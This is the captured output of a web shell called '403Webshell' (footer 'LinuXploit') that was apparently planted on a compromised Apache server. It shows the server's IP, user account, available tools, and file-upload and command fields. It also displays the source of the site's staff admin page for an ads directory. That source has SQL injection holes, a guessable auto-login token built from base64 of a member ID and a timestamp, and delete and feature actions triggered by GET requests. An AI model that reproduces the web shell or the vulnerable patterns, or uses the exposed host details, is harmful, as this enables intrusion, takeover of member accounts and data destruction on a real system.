403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.148.107.92
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/staff/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/staff/index.php
<?php
//error_reporting(E_ALL);
$path  = $_SERVER['DOCUMENT_ROOT'];
include_once $path.'/connect_db.php';
include 'accesscontrol.php';  
if(isset($_POST['submit'])){

	foreach(addslashes($_POST['ls']) as $listing){
		$aa = explode(" || ", $listing);
		$ls_id = $aa[0];
		$ls_mid = $aa[1];
		// deleting ad
		$q6 = "DELETE FROM ads WHERE adid='{$ls_id}' AND memberid ='{$ls_mid}'";
		$r6 = $connect->query($q6) or die($connect ->error);
		$del_query = "SELECT image, photo_1, photo_2, photo_3, photo_4 FROM ads WHERE  adid='{$ls_id}' AND memberid = '{$ls_mid}' GROUP BY adid";
		$del_result = $connect->query($del_query) or die($connect -> connect_errno);
		$del_row = $del_result->fetch_array();
		$photos_array=array(1 =>$del_row['photo_1'],$del_row['photo_2'],$del_row['photo_3'],$del_row['photo_4']);
		// deleting associating photos to ad
		foreach($photos_array as $photo_key=>$photo_array){
			$file = 'uploads/'.$photo_key.'/'.$photo_array; // name of file
			if (file_exists($file)) {
				@unlink($file);
			}
		}
		$logo_file= 'uploads/logo/'.$del_row['image']; // name of file
		if (file_exists($logo_file)) {
				@unlink($logo_file);
		}
		$message = 'Your Ad has been successfully deleted.';
	}
}

if(addslashes($_GET['del'])=="yes"){
	$adid=addslashes($_GET['adid']);
	$memberid=addslashes($_GET['memberid']);
	// deleting ad
	$q6 = "DELETE FROM ads WHERE adid='{$adid}' AND memberid ='{$memberid}'";
	$r6 = $connect->query($q6) or die($connect->error);
	$del_query = "SELECT image, photo_1, photo_2, photo_3, photo_4 FROM ads WHERE  adid='{$adid}' AND memberid = '{$memberid}' GROUP BY adid";
	$del_result = $connect->query($del_query) or die($connect->error);
	$del_row = $del_result->fetch_array();
	$photos_array=array(1 =>$del_row['photo_1'],$del_row['photo_2'],$del_row['photo_3'],$del_row['photo_4']);

	foreach($photos_array as $photo_key=>$photo_array){
		$file = 'uploads/'.$photo_key.'/'.$photo_array; // name of file
		if (file_exists($file)) {
			@unlink($file);
		}
	}
	// deleting logo
	$logo_file= 'uploads/logo/'.$del_row['image']; // name of file
	if (file_exists($logo_file)) {
			@unlink($logo_file);
	}
	$message = 'Your Ad has been successfully deleted.';
	//header( "refresh:5;url=index.php" );
}

if(addslashes($_GET['fet'])=="yes"){
	$adid=addslashes($_GET['adid']);
	$memberid=addslashes($_GET['memberid']);
	// updating featured with yes
	$connect->query("UPDATE ads SET `featured`=1 WHERE adid='{$adid}' AND memberid ='{$memberid}'");
	// $message = 'Your Ad has been successfully featured.';
	// header( "refresh:0;url=index.php" );
}

if(addslashes($_GET['fet'])=="no"){
	$adid=addslashes($_GET['adid']);
	$memberid=addslashes($_GET['memberid']);
	// updating featured with no
	$connect->query("UPDATE ads SET `featured`=0 WHERE adid='{$adid}' AND memberid ='{$memberid}'");
	// $message = 'Your Ad has been removed from featured.';
	// header( "refresh:0;url=index.php" );
}

?>



<!-- start: HTML -->
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<link rel="stylesheet" href="/header-footer/global.css">
	<link rel="stylesheet" href="style_staff.css">
	<title>Staff Area</title>
	<style>
	input#search {
    width: 86%;
    float: left;
    margin: 0 15px 0px 0px;
}
	</style>
</head>
<body>
<?
include 'staff_header.php';
if($updated==TRUE){
	echo '<div class="successDvBx">ACTIVATED</div>';
}
if($message){
	echo '<div class="successDvBx">'.$message.'</div>';
}
?>

	<!-- start: Table -->
	<div class="table-section">
		<div class="container lg">
			<div class="table-responsive">
			<form>
			<?
			$Active = $connect->query("SELECT * FROM ads WHERE active = 1 ")->num_rows;
			$Inactive = $connect->query("SELECT * FROM ads WHERE active = 0 and decline = 0 AND TRIM(IFNULL(description,'')) <> ''")->num_rows;
			$Declined = $connect->query("SELECT * FROM ads WHERE decline = 1 ")->num_rows;
			$no_descriptions = $connect->query("SELECT * FROM ads WHERE TRIM(IFNULL(description,'')) = ''")->num_rows;
			$free_websites = $connect->query("SELECT * FROM `members` as `m` INNER JOIN `page_configuration` as `pc` ON m.memberid = pc.memberid GROUP BY m.memberid")->num_rows;
			$dr = $_SERVER['DOCUMENT_ROOT'].'/members/uploads/logo/';
            $logo =  scandir($dr);
			?>
			<div class="submit-advert-form-group">
				<a href="/staff/advert/approved/" class="btn btn-yellow btn-sm">Active (<?=$Active?>)</a>
				<a href="/staff/" class="btn btn-yellow btn-sm">Inactive (<?=$Inactive?>)</a>
				<a href="/staff/advert/declined/" class="btn btn-yellow btn-sm">Declined (<?=$Declined?>)</a>
				<a href="/staff/advert/no_descriptions/" class="btn btn-yellow btn-sm">No Descriptions Businesses (<?=$no_descriptions?>)</a>
				
				<a href="/staff/advert/no_images" class="btn btn-yellow btn-sm">No image Businesses (<?=$Inactive-count($logo)?>)</a>
				<a href="/staff/advert/free_websites" class="btn btn-yellow btn-sm">Used Free Website (<?=$free_websites?>)</a>
			</div>
			<div class="submit-advert-form-group">
			<input type="text" name="search" id="search" class="form-control"  placeholder="Enter business name" value="<?=addslashes($_GET['search']) ?>">
			<button  class="btn btn-yellow" type="submit">Search
						<svg viewBox="0 0 21 16" fill="none" xmlns="http://www.w3.org/2000/svg">
						<path d="M13.0998 15.5L11.7582 14.1902L17 8.95114H0.588135V7.08004H17L11.727 1.80977L13.0686 0.5L20.5881 8.01559L13.0998 15.5Z"></path>
						</svg>
			</button>
			</div>
			</form>
				<table class="table">
					<thead>
						<tr>
							<th></th>
							<th>#</th>
							<th>Business Name</th>
							<th>Business Date</th>
							<th>Paid</th>
							<th>Status</th>
							<!-- <th colspan="2" class="text-center">Action</th> -->
							<th>Action</th>
							<th>Featured</th>
						</tr>
					</thead>
					<tbody>
				<?
				$search = addslashes($_GET['search']);
				$limit = 100;
				$page = addslashes($_GET['page'])?addslashes($_GET['page']):1;
				$offset = ($page-1)*$limit;

				$a = $connect->query("SELECT * FROM ads WHERE active = 0 AND TRIM(IFNULL(description,'')) <> '' and companyname like '{$search}%'  ORDER BY adid DESC LIMIT $offset,$limit") or die($connect->error);

				while($b = $a->fetch_array()){
					$r_ad_name=strtolower($b['companyname']);
					$r_ad_name = preg_replace("/[^A-Za-z 0-9]/", "", $r_ad_name); 
					$r_ad_name=str_replace("  "," ",$r_ad_name);
					$company_name_url=str_replace(" ","-",$r_ad_name);
				?>

				<tr onclick="chbox(<?=$b['adid']?>);" id="tr_<?=$b['adid']?>" <?=(strpos($r_ad_name,'clean') !== false
				? 'class="selected"' : '' )?>>
				<td><input id="inp_<?=$b['adid']?>" type="checkbox" name="ls[]"
						value="<?=$b['adid']?> || <?=$b['memberid']?>"></td>
				<td>
					<?=$b['adid']?>
				</td>
				<td>
					<a href="/pages/<?=$b['adid']?>-<?=$company_name_url?>.html">
						<?=$b['companyname']?>
					</a>
					<?php
						$query_members = $connect->query("SELECT * FROM members WHERE memberid = {$b['memberid']} LIMIT 1") or die($connect->error);
						$row_members = $query_members->fetch_array();

						$website_members = $connect->query("SELECT * FROM page_configuration WHERE memberid = {$b['memberid']} LIMIT 1") or die($connect->error);
						$website_members = $website_members->fetch_array();

						$ids = base64_encode(json_encode(($row_members['memberid']).'-'.strtotime("+720 minutes")));
					?>
					<p style="font-size: 14px"> <?=$row_members['contactname']. " " .$row_members['sureame']?></p>
					<p style="font-size: 14px"><?=$row_members['ename']?></p>
					<p style="font-size: 14px">Website: <?= ($website_members->num_rows > 0) ? "Yes": "No" ?></p>
					<p style="font-size: 14px">Last login: <?= (!empty($row_members['last_login'])) ? date('d M Y h:i:s A', $row_members['last_login']): "Not available" ?></p>
					<p><a target="_blank" href="autologin.php?id=<?=$ids?>"><span style="color: red">Auto Login</span></a></p>
				</td>
				<td>
					<?
						echo date('D jS M Y h:i:s A',$b['postdate']);
					?>
				</td>
				<td>
					<?
						if($b['paid'] > 1){
							echo '<b style="color:orange">Paid</b>';
						}else{
							echo '<b style="color:blue" > Free</b>';
						}
					?>
				</td>
				<td>
				<a href="/staff/advert/?id=<?=$b['adid']?>">
					<?
						if($b['active'] == 1 ){
							echo '<b style="color:green">Approved</b>';
						}elseif($b['decline'] == 1 ){
							echo '<b style="color:red" >Declined</b>';
						}else{
							echo '<b style="color:orange" >Inactive</b>';
						}
					?>
					</a>
				</td>
				<td>
					<a href="/staff/advert/?id=<?=$b['adid']?>">Edit</a>
				</td>
				<!-- <td>
					<a onclick="return confirm('Are you sure to delete?')" style="color:red" href="?del=yes&adid=<?=$b['adid']?>&memberid=<?=$b['memberid']?>">Delete</a>
				</td> -->
				<td>
					
					<?php if($b['featured'] != 1 ){ ?>
						<a style="color:green" href="?fet=yes&adid=<?=$b['adid']?>&memberid=<?=$b['memberid']?>">Feature</a>
					<?php }else{ ?>
						<a style="color:red" href="?fet=no&adid=<?=$b['adid']?>&memberid=<?=$b['memberid']?>">Remove Feature</a>
					<?php } ?>
				</td>
			</tr>
			<?}?>
					</tbody>
				</table>
			</div>
			<div class="table-pagination">
				<a href="?page=<?=$page+1?>">Next Page</a>
			</div>
			<!-- <div class="table-action">
				<a href="#" class="btn btn-red">Delete Selected</a>
			</div> -->
		</div>
	</div>
	<!-- end: Table -->
	
	<script>
		var topbarToggle = document.querySelector('.topbar-menu-toggle')
		var topbarMenu = document.querySelector('.topbar-menu')

		topbarToggle.addEventListener('click', function() {
			topbarMenu.classList.toggle('show')
		})
		
		function chbox(id) {
			document.getElementById('inp_' + id).click()

			if (document.getElementById('inp_' + id).checked) {
				document.getElementById('tr_' + id).classList.add('selected');
			} else {
				document.getElementById('tr_' + id).classList.remove('selected');
			}
		}
	</script>
</body>
</html>
<!-- end: HTML -->

Youez - 2016 - github.com/yon3zu
LinuXploit